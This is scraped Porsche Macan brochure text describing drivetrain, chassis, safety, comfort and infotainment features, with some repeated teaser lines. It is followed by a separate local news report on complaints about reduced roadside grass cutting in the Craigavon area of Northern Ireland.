Sensors continuously check, among other variables, the rotation speeds of all four wheels, the longitudinal and lateral acceleration of the vehicle, and the steering angle. If, for example, the rear wheels threaten to spin under acceleration, a greater proportion of drive force is distributed to the front by a more powerful engagement of the multiplate clutch. In addition, ASR reduces wheel slip. In corners, the drive force sent to the front wheels is regulated for optimum lateral stability.
In short, PTM transfers the incredible sportiness of the Macan to the road. Behind the wheel, you can feel what it's like to be driving a genuine sports car: traction, driving safety, outstanding steering behaviour, superior handling and, of course, the excellent dynamics typical of any Porsche.
VarioCam Plus System
The intake and exhaust camshafts in all Macan models with petrol engine are each equipped with a ful...
VarioCam
The intake and exhaust camshafts in all Macan models with petrol engine are each equipped with a fully variable vanecell controller for continuous timing adjustments. This helps to deliver high specific power and high torque – even at low engine speeds – and, above all, reduced fuel consumption and low emissions.
With their twin-turbo V6 engine, the Macan Turbo, Macan GTS and Macan S are additionally equipped with VarioCam Plus. This system switches the lift of the intake valves, resulting in instant acceleration and smooth engine running performance.
With millisecond precision, DFI injects fuel at up to 200 bar directly into the combustion chamber b...
With millisecond precision, DFI injects fuel at up to 200 bar directly into the combustion chamber by means of electromagnetically actuated injection valves. The spray and cone angles have been optimised for torque, power output, fuel consumption and emissions by enabling a homogeneous distribution of the air/fuel mixture and, therefore, effective combustion. DFI improves the internal cooling of the combustion chamber by having the mixture prepared directly in the cylinder. This allows for a higher compression ratio, which helps to deliver greater power output at the same time as enhanced engine efficiency.
Efficiency-enhancing measures
To improve fuel economy, the auto start/ stop function switches off the engine when you are coming t...
To improve fuel economy, the auto start/ stop function switches off the engine when you are coming to a stop at traffic lights, for example.
Standard in all Macan models.
Coasting
The coasting function enables you to save even more fuel where the situation allows. The engine is decoupled from the transmission, which avoids the deceleration caused by engine braking. In this way, the vehicle makes optimum use of its own momentum and is able to coast for longer distances. This has real benefits for fuel consumption without any impact on comfort or sporty performance.
Engine cooling is prevented during the initial stages of a cold start so that the engine reaches its optimum operating temperature faster. This means it can begin working at high efficiency sooner, thereby consuming less fuel.
Active aerodynamics
The radiator grille shutter opens the cooling air flaps only as needed. Whenever the cooling requirement is low, such as on relaxed drives, the radiator grille shutter closes. Aerodynamics are improved, which helps to improve fuel economy. If, for example, a sporty driving style is adopted and the demand for power increases, the cooling air flaps will open and let in the necessary amount of cooling air for increased driving performance.
Electrical system recuperation
To enhance efficiency, the electrical system in the Macan models is recharged on demand during engine overrun phases. Fuel consumption is thereby reduced, while the full power output of the engine is made available for acceleration phases. You won't notice anything of the process itself, except for the results: optimum power and torque with lower fuel consumption and CO2 emissions.
The integrated dry-sump lubrication of the V6 petrol engines guarantees a reliable supply of oil in ...
The integrated dry-sump lubrication of the V6 petrol engines guarantees a reliable supply of oil in all driving situations. The oil reservoir is located directly inside the engine, which saves on space and weight. An electronically controlled oil pump provides the correct amount of oil as and when needed. Optimised for sporty driving, it ensures optimum engine lubrication even in extreme situations.
The V6 twin-turbo engines are equipped with two turbochargers arranged in parallel – one for each cy...
The V6 twin-turbo engines are equipped with two turbochargers arranged in parallel – one for each cylinder bank. Intake air is compressed and then fed to the engine via the respective charge-air cooler. This cooling process achieves two things: high cylinder charge and low component temperatures.
The SPORT button, which is fitted as standard, enables you to select a setup that favours either com...
The SPORT button, which is fitted as standard, enables you to select a setup that favours either comfort or sporty performance. At the push of a button, the electronic engine management system switches the engine mapping to offer an even sharper response and engine dynamics that are more direct.
Sports tailpipes
On request, you can have sports tailpipes for your Macan. The twin tual-tube tailpipes have a separa...
On request, you can have sports tailpipes for your Macan. The twin tual-tube tailpipes have a separate design fashioned from stainless steel with a high-gloss look. They also come in high-gloss black. A visually unmistakeable statement in sportiness.
Standard in the Macan Turbo with performance paket and Macan GTS, part of the Turbo exterior package. Optional on all models.
Sports exhaust system
The sport exhaust system provides an even more robust sound. The sports tailpipes made from highly p...
The sport exhaust system provides an even more robust sound. The sports tailpipes made from highly polished stainless steel – your choice of silver of black – are both a visual and acoustic highlight.
For a high level of comfort and tremendous dynamic performance, you have the option of an air suspen...
For a high level of comfort and tremendous dynamic performance, you have the option of an air suspension including PASM. With this setup, the car is 15 mm lower than with the sports suspension, while the Macan GTS sits 10 mm lower than the Macan S with air suspension. The effect? A generous spread of ride comfort and dynamic performance. The self-levelling function helps to keep the ride height constant.
Available on request, a ride-height adjustment capability enables you to switch the ground clearance to three levels: Terrain Level, Normal Level and Low Level. At Terrain Level, the car is 40 mm above Normal Level; at Low Level, 10 mm below it. Loading Level is especially practical: from Normal Level, the rear end of the body lowers 40 mm to make it easier to load the car. This function is operated by means of a button in the luggage compartment.
The steel spring suspension is standard in all Macan models. It fulfils the high demands on performa...
The steel spring suspension is standard in all Macan models. It fulfils the high demands on performance and driving pleasure and contributes to increased driving dynamics, lower fuel consumption and increased driving comfort.
In the Macan Turbo with performance package and the Macan GTS, the sports suspension is also lowered by 15 mm. In addition, it is equipped with the Macan Turbo models and the Macan GTS with the Porsche Active Suspension Management.
PASM is an electronic damping control system. It actively and continuously adjusts damping force bas...
PASM is an electronic damping control system. It actively and continuously adjusts damping force based on current road conditions and driving style. When a car is driven off-road or assertively in a manner that demands hard acceleration and braking, the forces acting on the car will normally induce perceptible body movements. PASM intervenes in these situations to reduce them. You can select from three modes: ‘Comfort’, ‘SPORT’ and ‘SPORT PLUS’.
PASM is permanently active, adapting automatically to the current driving situation with the aim of increasing driving stability and comfort.
Optional for the Macan S, Macan S Diesel and Macan.
Steering and Power steering Plus
The steering has been engineered for sporty and immediate handling. The tuning of the electromechani...
The steering has been engineered for sporty and immediate handling. The tuning of the electromechanical steering system is what makes the Macan models so extraordinarily agile.
It also contributes to low fuel consumption. As there is no hydraulic system constantly drawing power, energy is consumed only when the steering is turned.
Optional Power steering Plus is a speedsensitive power steering system. At high speeds, the steering firms up and responds with greater precision, while steering comfort remains outstanding. At low speeds, the steering ratio adjusts for easy manoeuvring and parking.
OFF-ROAD button
Would you like to try roads that aren’t actually there? A button on the centre console sets your Mac...
Would you like to try roads that aren’t actually there? A button on the centre console sets your Macan to OFF-ROAD mode. All relevant systems switch to a traction-optimised program for off-road terrain. The optional air suspension including PASM automatically adjusts to Terrain Level. In addition, optional Porsche Torque Vectoring Plus (PTV Plus) and Porsche Stability Management (PSM) – integrated as standard – optimally adapt their setup for off-road use, delivering improved driveability and safety.
PTM, which is also fitted as standard, provides a fully variable distribution of drive force between the front and rear axles – up to 100 % if necessary. This delivers a crucial increase in traction and driving safety.
Porsche Hill Control (PHC)
A button on the centre console enables you to activate Porsche Hill Control (PHC), which keeps your speed constant on downhill gradients. You can set any speed between 3 and 30 km/h.
Sports car makers adore corners. With our technologies, we are forever fanning the flames of the rel...
Sports car makers adore corners. With our technologies, we are forever fanning the flames of the relationship. PTV Plus is an optional system for enhancing both driving dynamics and stability.
Operating in conjunction with an electronically regulated rear differential lock, it works by varying the torque distribution to the rear wheels. When the car is driven into a corner, moderate brake pressure is applied to the inside rear wheel as the situation demands. Consequently, a greater amount of drive force is distributed to the outside rear wheel, inducing an additional rotational pulse (yaw movement) around the vehicle’s vertical axis. The effect is a direct and sporty steering action. And considerable driving pleasure at every twist and turn.
At low and medium vehicle speeds, PTV Plus significantly increases agility and steering precision. At high speeds on the straight, and in fast corners where the wheels threaten to spin, the electronically controlled rear differential lock provides added driving stability. Stability is also improved on road surfaces with varying grip as well as in the wet and snow.
Optional for all Macan models.
The Sport Chrono Package adds a stopwatch with an analogue and a digital display to the cockpit. The...
The Sport Chrono Package adds a stopwatch with an analogue and a digital display to the cockpit. The performance display in PCM lets you view a range of driving stats, including your total driving time, current lap distance and lap times recorded so far.
The centre console also comes equipped with the SPORT PLUS button, which is used to activate SPORT PLUS mode. In this mode, the engine becomes even more responsive and the rev limiter is adjusted to a harder setting. Porsche Traction Management (PTM) is now tuned for even sportier performance. For cars with Porsche Active Suspension Management (PASM), SPORT PLUS mode results in harder damping and more direct steering. In addition, the trigger threshold for PSM is raised for increased longitudinal and lateral dynamics. The shift times of PDK, fitted as standard, become even shorter, the gear changes even sportier. The optional air suspension automatically drops to Low Level. Launch Control is primed to deliver optimum acceleration from a standing start.
Standard in the Macan Turbo with Performance Package. Optional for all other Macan models.
Wheels and Tyre Pressure Monitoring System (TPMS)
As with any genuine sports car, the Macan is equipped with wider tyres at the rear – just like the 9...
Mixed tyres
As with any genuine sports car, the Macan is equipped with wider tyres at the rear – just like the 911. The visual impact is not the only effect: the larger footprint at the rear improves both stability and traction and also enhances agility for intensified contact with the road.
For the wheels, too, everything revolves around sporty performance – and style. Accordingly, the Macan serves up some impressive numbers: the wheels look exceptionally large, with optional sizes up to 21 inches.
What they all have in common is their aluminium construction, which saves weight and increases agility. That’s particularly true of the forged 21-inch wheels.
The Macan is equipped, as standard, with 18-inch Macan wheels, the Macan S with 18-inch Macan S wheels. The Macan Turbo is fitted with 19-inch Macan Turbo wheels as standard. The Macan GTS lines up on 20-inch RS Spyder Design wheels in satin black.
All tyres have been optimised for driving performance, handling, rolling resistance and weight. The rubber compound, tread pattern and the carcass architecture have been designed for the least rolling resistance possible in order to reduce fuel consumption.
Tyre Pressure Monitoring (TPM)
Tyre Pressure Monitoring sends warnings to the on-board computer’s display screen in the event of low tyre pressure or a gradual or sudden loss of pressure. The multifunction display in the instrument cluster gives you a quick and convenient way to check your tyre pressures.
At Porsche, we also set ourselves high standards for braking performance. So it goes without saying ...
At Porsche, we also set ourselves high standards for braking performance. So it goes without saying that our brake systems are super-sized and adapted to the high power output of the engine.
The Macan models are equipped with sixpiston aluminium monobloc fixed brake calipers at the front. The brake discs are internally vented for consistently high braking power even during continuous use.
To cope with the performance capability of the Macan models, the brake discs fitted to the front axle are up to 390 mm in diameter.
The brake calipers of the Macan are finished in black. The calipers on the Macan S are silver-coloured. On the Macan Turbo, Macan Turbo with Performance Package and Macan GTS – red.
As an option, you can have your Macan equipped with the track-proven Porsche Ceramic Composite Brake (PCCB).
The cross-drilled ceramic brake discs have a diameter of 396 mm at the front axle and a thickness of 38 mm. At the rear, they are 370 mm in diameter and 30 mm thick.
Their low thermal expansion prevents deformation under heavy braking. Furthermore, the ceramic brake discs are totally resistant to corrosion and offer more favourable noise-damping properties.
The key advantage is that the brake discs are approximately 50 % lighter than standard discs of similar design and size. Enhanced performance and fuel economy are not the only noticeable benefits: above all, it represents a major reduction in unsprung and rotating masses. The results are improved handling, better roadholding and increased comfort.
Optional for the Macan Turbo, Macan Turbo with Performance Package, Macan GTS, Macan S.
Lighting concept
The Bi-Xenon main headlights feature automatic and dynamic range control, which provides uniform ill...
The Bi-Xenon main headlights feature automatic and dynamic range control, which provides uniform illumination of the road whether dipped or main beam is selected. The dynamic cornering light function swivels the headlights towards the inside of a bend based on the steering angle and road speed. The static cornering lights activate the auxiliary headlights so as to light up more of the road at tight bends and turns. In short: a greater part of the road ahead is illuminated the moment you enter a bend.
Standard in the Macan Turbo with performance package and Macan Turbo.
Ultra-exclusive accents are added by the optionally available Bi-Xenon main headlights in black including PDLS. On the Macan GTS, the inner trims are also finished in black.
Standard in the Macan GTS. Optional for all Macan models.
The three-dimensional design of the LED taillights pays homage to the 918 Spyder super sports car and lends an impressive appearance of depth. At the same time, they are especially responsive and powerful – and that means added safety. In the event of panic braking, the adaptive LED brake lights begin to pulsate, alerting following traffic more quickly to a critical situation. The third brake light is integrated in the roof spoiler.
What’s more, the LED taillights are also available with tinted lenses: standard on the Macan GTS as part of the Turbo exterior package, otherwise optional for every Macan model. A sporty accent to leave a lasting impression.
PSM is an electronic control system that maintains stability – and increases driving safety – even a...
PSM is an electronic control system that maintains stability – and increases driving safety – even at the limits of sporty performance.
Sensors continuously monitor driving direction, speed, yaw velocity and lateral acceleration. PSM actively intervenes to stabilise the vehicle when necessary by strategically applying the brakes at individual wheels. That’s not all. If the driver suddenly releases the accelerator pedal, PSM primes the brake system for a higher state of readiness. Maximum braking power is therefore achieved much sooner. Integral ABS is optimised for short braking distances.
All Macan models are equipped, as standard, with full-size airbags for the driver and front passenge...
All Macan models are equipped, as standard, with full-size airbags for the driver and front passenger. These are supplemented by the Porsche Side Impact Protection System (POSIP).
It comprises side airbags in the front seats, curtain airbags along the entire roof frame and the side windows from the A-pillar to the C-pillar, and side impact protection elements in the doors. Side airbags are available as an option for the rear compartment.
Two auxiliary sensors in the bumper help to detect frontal collisions. A cluster of acceleration and yaw rate sensors detects a threat of rollover and triggers the curtain airbags and seat belt pretensioners.
Engineered body design
The use of ultra- and super-high-strength steels makes a crucial contribution to safety and, at the ...
The use of ultra- and super-high-strength steels makes a crucial contribution to safety and, at the same time, purposefully encapsulates the principle of lightweight construction.
The forces exerted in the event of a frontal impact are dispersed by a system of longitudinal and transverse members. Reinforcements in ultra-high-strength steel provide additional protection for occupants in the event of a side impact.
The concept also sees the use of multiphase steels. High strength and clearly defined deformability are two qualities that they have in common. The passenger cell is a cage formed of hightech steels and offers a considerable level of protection.
Five doors. Five seats. Excellent everyday practicality – and an elevated sitting position. That’s w...
Five doors. Five seats. Excellent everyday practicality – and an elevated sitting position. That’s what you can expect of an SUV. Now let’s consider what you can expect of a Porsche: sports car sensations.
You get in – and find the ignition lock closest to the door. It’s typically Porsche, and has been since 1948. An old motorsport tradition.
The interior architecture integrates you perfectly into the vehicle. This is exemplified by the three-dimensional arrangement of the controls and the ascending centre console with control buttons for the most important comfort functions. The layout emulates that of the Carrera GT – it’s as if you’re sitting in a sports car.
The multifunction sports steering wheel with 918 Spyder design provides the ideal hands-on experience. Its appearance is futuristic and its design highly ergonomic. Gearshift paddles as well as multifunction buttons for telephone, radio and on-board computer offer high levels of user comfort. Steering wheel heating is available as an option.
Sports car genes are also inherent in the three round instruments. The rev counter is positioned in the centre, exactly where it belongs in a sports car. In this way, you can see all the essentials at a glance when you’re on the move – and keep up to speed with all relevant information.
Take the high-resolution 4.8-inch colour screen in the instrument cluster as an example. It displays messages from the on-board computer and – in conjunction with the new version of PCM with optional navigation module – shows the map of the navigation system.
The seats offer racing-style support and a high degree of seating comfort. In cars with the driver memory package or comfort memory package, you can store personalised seat, steering wheel and exterior mirror settings. Your car will then adapt automatically to you. In the Macan GTS, exclusive eight-way Sports seats convey the thrilling feel typical of a genuine sports car, while ‘GTS’ logos embroidered on the headrests catch the eye. Even more exclusive: the Turbo interior package comes with a full leather interior in black, selected items in Alcantara®, embroidered ‘turbo’ logos and precisely defined contrasts.
The use of exquisite materials such as leather brings exclusivity to ordinary life. In the Macan Turbo with performance package and Macan Turbo, the adaptive Sports seats with 18-way adjustment are completely upholstered in leather. On request, you can refine even more interior features of your Macan with Alcantara®, leather, wood, carbon or aluminium.
Standard on-board features include threezone automatic climate control as well as remote central locking with remote closing.
On principle, all controls are ergonomically arranged for speedy access to desired functions.
Practicality is also assured by storage solutions in the front and rear doors. Even large bottles are accommodated.
The large luggage compartment offers a loading capacity of 500 litres. The rear bench seat has a split-folding ratio of 40 : 20 : 40. With the seats fully folded, available capacity increases to 1,500 litres.
Comfort seats with electric eight-way adjustment on the driver’s side are both ideal for relaxed mot...
Comfort seats with electric eight-way adjustment on the driver’s side are both ideal for relaxed motoring and practical to operate. Seat height, fore/aft position, squab angle and backrest angle are all adjustable. Seat centres in Alcantara® create a sporty accent.
Standard in the Macan S and Macan.
Eight-way Sports seats
Exclusive eight-way Sports seats provide a rather sportier alternative, perfectly emulating the feel of an out-and-out sports car. The eight-way electric adjustment capability on the driver’s and front passenger side includes seat height, fore/aft position, squab angle and backrest angle.
With the Turbo interior package or the GTS interior package available for the Macan GTS, the seat centres are upholstered in Alcantara® – in true With 30,000 racing victories behind us, we can afford to ease back a little. motorsport style. Contrasting stitching in Carmine Red or Rhodium Silver creates an even sportier appearance. The ‘GTS’ logo in a contrasting colour embroidered on the headrests completes the profile of a top-class athlete.
Optional and exclusive to the Macan GTS.
Power seats with comfort memory package (14-way)
Would you like generous seating comfort for both seats in the front? To supplement the eight adjustable features of the comfort seats, the power seats with comfort memory package offer additional adjustment capabilities, namely the lumbar support, seat squab length and steering column. Personalised settings, such as driver and front passenger seat positions including lumbar support, can be stored – as can steering wheel and exterior mirror positions.
Optional in the Macan Turbo with performance paket and Macan Turbo at no extra charge. Optional for all other Macan models.
Adaptive Sports seats with comfort memory package (18-way)
The adaptive Sports seats with comfort memory package combine ultimate seating comfort with racing-style support. Their side bolsters are particularly high and prominently contoured. Offering 18-way electric adjustment, the seats can be optimally adapted to meet your needs in terms of seat height, squab and backrest angle, squab length, fore/aft adjustment and four-way lumbar support. The steering column is also electrically adjustable. The following functions can be memorised: driver and front passenger seat positions, including lumbar support and steering wheel and exterior mirror positions.
Standard in the Macan Turbo. Optional for all Macan models.
Exclusive to the Turbo interior package: contrasts in Garnet Red or Rhodium Silver and selected items in Alcantara®. And, adding further accents, the ‘turbo’ logo embroidered on the headrests.
Turbo interior package optional and exclusively for Macan Turbo with performance package and Macan Turbo.
Seat/steering wheel heating.
For all seat designs, seat heating is available for the front or as a package for the front and rear. Steering wheel heating, which keeps the rim at a pleasant temperature, is available as an option
Seat ventilation
Optional seat ventilation for the front provides even greater comfort on long journeys and in the summer. (Only available in conjunction with seat heating, comfort memory package or adaptive Sports seats.) Not compatible with seat centres in Alcantara®.
The rear bench seat has a three-way split-folding ratio – and folds down fully if required. The versatile centre seat doubles as a through-loading facility for long cargo items and for the optional ski bag. It additionally contains the folding armrest, which features two extra cupholders when combined with the optional storage package. Operation of the rear bench seat is totally straightforward: release, fold – done.
Offering comfort and safety for all passengers up to 12 years of age (or up to 36 kg in weight) – with high safety standards and a unique design. The child seats have been specially tested and approved in Porsche vehicles. For added safety, the Porsche Baby Seat and Porsche Junior Seat ISOFIX come with their own five-point harness. For further information about child seats, please refer to the Macan Tequipment catalogue.
For increased safety, Porsche Baby Seat and Porsche Junior Seat ISOFIX have an independent five-point belt system with central belt length adjustment.
ISOFIX mounting points* are available on the outer rear seats as standard, while the additional top-tether belt attachment is a standard feature on all rear seats.
* ISOFIX is a secure and user-friendly child seat mounting system that rigidly attaches the child seat to the vehicle.
Fitted as standard, three-zone automatic climate control provides separate air conditioning in the r...
Fitted as standard, three-zone automatic climate control provides separate air conditioning in the rear compartment – and a cooling function for the glove compartment. Air conditioning settings in the rear compartment are infinitely variable.
Porsche Active Safe (PAS)
This system regulates the speed of your vehicle in line with the speed of the vehicle in front and b...
This system regulates the speed of your vehicle in line with the speed of the vehicle in front and brakes your vehicle automatically – if necessary, even down to a halt. As soon as the road ahead clears, your vehicle will accelerate back up to the cruising speed originally set. Selectable cruising speeds range from 30 to 210 km/h. If required, your car can even brake itself to a complete stop behind the vehicle in front in situations such as congested traffic. To pull away again, all it takes is for the driver to give a brief start command using the control lever or accelerator pedal.
Integrated Porsche Active Safe (PAS) is designed to detect whether you are approaching the vehicle in front too quickly. In this event, you will be prompted to take the necessary action by an audible and visual warning as well as a jolt of the brakes. The system may even boost brake pressure as the situation demands, even to the point of the maximum braking force that the system is able to provide.
The speed limit indicator informs you of speed restrictions and the start and end of ‘no overtaking’...
Speed limit indicator
The speed limit indicator informs you of speed restrictions and the start and end of ‘no overtaking’ zones detected by the integral camera.
The information is shown on the TFT screen in the instrument cluster and on the screen of PCM. If a road sign is missed – for example due to heavy rain or darkness – the speed limit stored in the navigation module is automatically displayed.
The benefit of this function is that it allows you to concentrate better on the road ahead.
ParkAssist warns you of obstacles detected to the front and rear of the vehicle. Its sensors are integrated harmoniously in the front and rear end. The audible alert is supplemented by a bird’s eye graphical representation of the vehicle on the central display screen showing the proximity to these obstacles.
The reversing camera facilitates precise reverse parking and manoeuvring and also assists in hitching a trailer. Help is provided in the form of the camera image and the dynamic, superimposed guidelines on the PCM screen, which illustrate the predicted course of the vehicle given the current position of the steering wheel.
With Surround View, four cameras located in the front end, exterior mirrors and rear generate an all-round image of the car and its immediate surroundings. In PCM, the driver can choose between a bird’s eye view, side view and corner view.
All Macan models are equipped with an engine immobiliser. It works in response to an automatic exchange of data between the key and vehicle electronics. Upon correct identification, the engine start will be authorised by the engine electronics.
The Macan models can be optionally equipped with an alarm system including ultrasonic interior surveillance. In the Macan Turbo, the alarm system is fitted as standard, and ultrasonic interior surveillance can be added on request.
The security system monitors all four doors, the bonnet, the entire tailgate, the interior, the ignition and any trailer that you have hitched to the car.
The panoramic roof system is a good square metre in size and comprises two large glass panels. Even ...
The panoramic roof system is a good square metre in size and comprises two large glass panels. Even when closed, it lives up to its name, letting you enjoy a generous panoramic view – but keeping you well protected from the elements at the same time. In addition, the front portion slides open or tilts to a raised position. A roll-up blind shields you from strong sunlight.
Dark-tinted privacy glass provides additional privacy in the rear compartment.
Thermally/noise insulated glass
As standard, all Macan models are equipped with tinted thermally insulated glass.
Optional: thermally and noise insulated laminated glass for all round more efficient reflection of infrared radiation. Enjoy an even more pleasant climate and peace and quiet in the passenger compartment.
The thermally/noise insulated glass also comes tinted at the rear as with privacy glass.
Comfort lighting package
The comfort lighting package comprises dimmable ambient lighting in the door panels, LED lights in place of bulbs, practical LED reading lights for the rear passengers, two vanity lights, additional courtesy lighting in both exterior mirrors and LED illumination of the footwells.
Roll-up sunblind
To protect against sunlight, a mechanical roll-up sunblind is optionally available for the rear side windows.
The windscreen wiper system has three wiper speeds and a rain sensor for automatic operation.
Porsche Entry & Drive*
Porsche Entry & Drive is designed to minimise key use.
As soon as you touch the door handle, Porsche Entry & Drive checks the encrypted access code on the key in your pocket. Once the key is validated, the door unlocks. The engine can then be started and switched off using the ignition key in the normal way.
To lock the vehicle, you simply touch the sensor on the outside of the door handle. Porsche Entry & Drive then locks the vehicle and simultaneously activates the engine immobiliser.
* The Porsche Entry & Drive System uses state of the art technology. However, it cannot be completely ruled out that the key´s wireless encryption code is intercepted and used to open or steal the vehicle.
Porsche Rear Seat Entertainment Plus
A cinematic experience enjoyed in the second row. Porsche Rear Seat Entertainment Plus has been spec...
A cinematic experience enjoyed in the second row. Porsche Rear Seat Entertainment Plus has been specially developed to appeal to the discerning viewers in your Macan. Thanks to two high-resolution 10.1-inch TFT colour touchscreens on the front seat backrests, each featuring an integrated DVD drive, two USB interfaces, an SD card interface, an HDMI interface and an internal 32-GB flash memory, a world of entertainment is at your passengers’ fingertips. What’s more, it’s also possible to surf the Internet* along the way.
A total of 14 loudspeakers, including an active subwoofer and centre speaker, and nine amplifier channels with a total output of 665 watts deliver an impressive sound experience.
* The Internet connection can be established either by means of the Wireless Internet access feature of the optional Connect Plus module or by using a smartphone or tablet computer as a mobile hotspot (tethering).
Sound Package Plus, with ten loudspeakers and a total output of 150 watts, delivers excellent sound....
Sound Package Plus, with ten loudspeakers and a total output of 150 watts, delivers excellent sound. The amplifier integrated into PCM optimally adapts the acoustic pattern in the vehicle interior to the driver and front passenger.
The system has been optimally tuned for the models in the Macan range. A total of 14 loudspeakers, i...
The system has been optimally tuned for the models in the Macan range. A total of 14 loudspeakers, including an active subwoofer and centre speaker, and nine amplifier channels with a total output of 665 watts deliver an impressive sound experience.
In combination with the new version of Porsche Communication Management (PCM), the BOSE® Surround Sound System enables audio playback of DVDs and is thus able to make full use of the impressive sound spectrum of 5.1 digital recordings. Of course, you can still play other audio sources, such as CDs or MP3 players, in stereo or, at the push of a button, in one of the available virtual surround modes.
Noise compensation technology uses a microphone to continuously measure the ambient noise inside the vehicle and adapts music playback automatically so that a consistent sound is maintained at all times.
Standard in the Macan Turbo and in the Macan Turbo with Performance Package. Optional for all other Macan models.
As a creator of sports cars, we love to push boundaries – sound barriers included. This is demonstra...
As a creator of sports cars, we love to push boundaries – sound barriers included. This is demonstrated perfectly by the Burmester® High-End Surround Sound System, which has been optimally tuned for the Macan model range. It converts sound waves into a unique feast for the senses – and music into an exclusive listening experience.
The surround sound system developed by Burmester® – one of the most respected manufacturers of high-end audio equipment worldwide – is available as an option.
The technologies behind the system are from the finest premium home audio systems that Burmester® has to offer. State of the art and never heard before in a vehicle of this class.
The extravagance is uncompromising, the craftsmanship exquisite, the sound phenomenal. The system owes its excellence to countless details, and one goal: perfection in sound.
The figures alone sound impressive: 16 amplifier channels with a total output of more than 1,000 watts, 16 loudspeakers including an active subwoofer with 300-watt class D amplifier, a total diaphragm surface area of more than 2,400 cm2, and a frequency response of 30 Hz to 20 kHz.
Crossover technology has been carried over more or less unmodified from Burmester® high-end home audio products. Analogue and digital filters have been optimally defined for their installation location and finely tuned after extensive in-car audio testing. Ribbon tweeters have been used for unmistakably fine, clear and undistorted high-frequency sound reproduction with excellent level stability.
The elegantly pure design with galvanised surrounds and Burmester® logos on selected loudspeakers make it clear that the exclusive appeal of the Burmester® High-End Surround Sound System is as much about the visual as it is the audio. Uncompromising luxury in sound and style.
The enhanced Porsche Communication Management (PCM) is your central control unit for all infotainmen...
The enhanced Porsche Communication Management (PCM) is your central control unit for all infotainment applications and is standard equipment in all models. The PCM features a high-resolution touch display with integrated proximity sensor which allows simple and convenient operation.
Infotainment already starts when you charge and connect your iPhone® or any other audio source. You can connect your device easily using either the USB port or AUX input. An internal hard drive (Jukebox) and two SD card readers are provided in addition to the CD/DVD drive for playback of your personal music. After inserting the SD cards, you can simply play your music with the music player in the PCM.
The mobile phone preparation makes it easy for you to establish a Bluetooth® connection to a mobile phone that supports the hands-free profile (HFP). The mobile phone can remain in your pocket or bag.
Further information on the availability of the functions and services described here and under "Porsche Connect" in your country and for your Porsche model is available in the Porsche Car Configurator and from your Porsche Centre.
The optional Connect module makes the optimum connection between your smartphone and your Porsche. T...
The optional Connect module makes the optimum connection between your smartphone and your Porsche. The centre console contains a special smartphone storage tray, which forwards the signal of your mobile phone to the external aerial of the car, sparing the mobile phone battery and providing optimum reception.
At www.porsche.com/connect, you can find further information about the Connect module.
The large luggage compartment of the new Macan models is prepared for a wide variety of uses and boa...
The large luggage compartment of the new Macan models is prepared for a wide variety of uses and boasts a capacity of 500 litres. A storage compartment to the side offers additional space.
The rear bench seat folds down with a ratio of 40 : 20 : 40. With the seats fully folded, the available capacity increases to 1,500 litres.
To protect against sunlight and offer additional privacy, the luggage compartment is equipped with a removable luggage compartment cover. The optional ski bag can also be removed. It can be used for carrying ski equipment outside the vehicle or simply taken out for cleaning. Practical and hygienic in equal measure.
For loading convenience, the optional air suspension enables you to lower the rear end of the vehicle using a button in the luggage compartment.
The rear hatch features a heated and tinted glass panel. The hatch opens automatically within five seconds at the push of a button. Its adjustable opening height can be memorised so that it always stops at a safe distance from your garage ceiling, for example.
Loadspace management system
The loadspace management system enables you to partition the luggage compartment to suit your needs. Items are held in place by a rail system with slide-adjustable telescopic rod, a strap roller and four variable lashing eyelets. The reversible mat protects against dirt and helps to prevent luggage displacement. The loadspace partition net provides added safety with the vehicle laden.
Roof transport system
These high-quality roof rails are available in aluminium or with a black painted finish. They blend ...
These high-quality roof rails are available in aluminium or with a black painted finish. They blend harmoniously into the vehicle's dynamic design. Roof rails are a prerequisite for installation of the optional roof transport system and are available as a factory-fitted option only.
In conjunction with the optional roof rails, this set of lockable roof bars is compatible with all Porsche roof attachment modules. The load-bearing parts in aluminium are designed to carry a maximum load of 100 kg. A range of aftermarket attachment modules is available from Porsche Tequipment.
Towbar systems
The towball of this electrically extending towbar system disappears under the rear at the push of a ...
The towball of this electrically extending towbar system disappears under the rear at the push of a button when out of use. A 13-pin socket is also included. The towbar is approved for a substantial braked trailer load of up to 2,400 kg as of the Macan S (Macan 2,000 kg) andan unbraked 750 kg for all Macan models. A noseweight of up to 96 kg is supported starting with the Macan S (Macan 80 kg). As standard, the vehicle comes ready-equipped with all the necessary preparations.
None of this would be possible without originality, inspiration and enthusiasm, beginning as early as the consultation stage. That’s because we keep in mind one thing above all else: your particular wishes and requirements. We fulfil them with composure and meticulous care, by means of precision handcrafting and the use of exquisite materials such as leather, Alcantara®, carbon, fine wood or aluminium.
Exclusive Macan
With the Porsche Tequipment range of accessories developed specifically for your Macan, you can styl...
With the Porsche Tequipment range of accessories developed specifically for your Macan, you can style it entirely to your own preference. From the start, the same rules that apply to our vehicles also apply to the products of Porsche Tequipment: developed, tested and proven at the Development Centre in Weissach.
By the same Porsche engineers and designers who made your car. Designed with the complete vehicle in mind and precisely tailored to your Porsche. And your original car warranty? It will remain completely intact, whichever Tequipment products you ask your Porsche Centre to fit.
Tequipment Macan
Macan Standard Exhaust System
Macan Sport Exhaust System
Macan S Standard Exhaust System
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Complaints over grass cutting
David Jones in a jungle of grass
Roadside verges and sightline grass will be ‘cut at least once this summer’, the newly formed Department of Infrastructure has said.
Despite complaints from across the Portadown, Lurgan and Craigavon area, the DoI blamed a ‘challenging resource budget’ on cuts to the service.
UKIP’s David Jones described an admission by the Divisional Manager of NITransport that grass cutting on verges would take place only once a year as ‘unacceptable’.
Cllr Jones said: “I remain concerned that such an unkempt environment could have a negative affect on investors seeking to invest in the greater ABC area. You only have to look at the present state of these grass verges on the main arterial routes, at Seagoe Cemetery and at Craigavon Hospital. It is not good enough and does not give a good first impression. I hope our newly elected MLAs will seek to have this matter rectified as a matter of urgency.”
Sinn Fein MLA Catherine Seeley said she has been lobbying Transport NI to get the mowers out. She revealed it has agreed to prioritise grass cutting in some areas of Lurgan and Craigavon and also the junction adjacent to Ballyoran School, Portadown (grass cutting complete) and Lismore Manor (grass cutting instruction issued).
SDLP Cllr Declan McAlinden said he had also been lobbying on the lack of grass cutting in the rural areas of Derrymacash/Derrytrasna. “They have assured me that the verges will be done hopefully within the next week or two.”
A Department for Infrastructure spokesperson said: “All roadside verges and sightline grass will be cut at least once in the period April-October. The Department is again facing a challenging resource budget settlement in 2016/17. A reduced routine maintenance service, including grass cutting, is currently being provided in the main by the Department’s internal resources. However, to ensure public safety is not compromised, sightlines will be cut as required throughout the season. The Department will be bidding strongly for additional funding. Any additional funding received will immediately be used to enhance services and deal with any backlogs of work that have built up.”
